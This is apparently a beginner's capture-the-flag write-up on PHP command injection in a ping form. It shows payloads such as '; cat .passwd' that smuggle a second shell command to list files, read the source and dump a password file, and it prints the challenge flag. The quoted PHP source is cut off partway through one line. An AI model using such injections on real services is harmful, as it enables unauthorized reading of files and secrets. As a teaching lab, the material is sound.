PHP-command injection

- This is a basic command injection as other labs for beginner to know how command injection works
- Firstly, i try to input the IP 8.8.8.8

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=2.13 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=117 time=1.91 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=117 time=1.95 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.906/1.995/2.132/0.098 ms
//[?] SO it ping to 8.8.8.8 right !
```

[?] Now we know the command is ping, but how to run 2 commands on the terminal ?

- We can use ';' , & , ||
- For more detail, i have writen in cmd injection of cyber jutsu course

[*] Testing time

- i use the payload: ;ls

  `index.php`

- Now we know this dir have file source code index.php:
- I want to show all contents in index.php: ; cat index.php

```
<html>
<head>
<title>Ping Service</title>
```

```
</head>
<body>
<form method="POST" action="index.php">
        <input type="text" name="ip" placeholder="127.0.0.1">
        <input type="submit">
</form>
<pre>
<?php
//[*] var flag gets contens from . passwd right !
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout -k 5 5 bash -c 'ping -c
        echo $response;
}
?>
</pre>
</body>
</html>
```

- The payload: ; cat .passwd

Final result: S3rv1ceP1n9Sup3rS3cure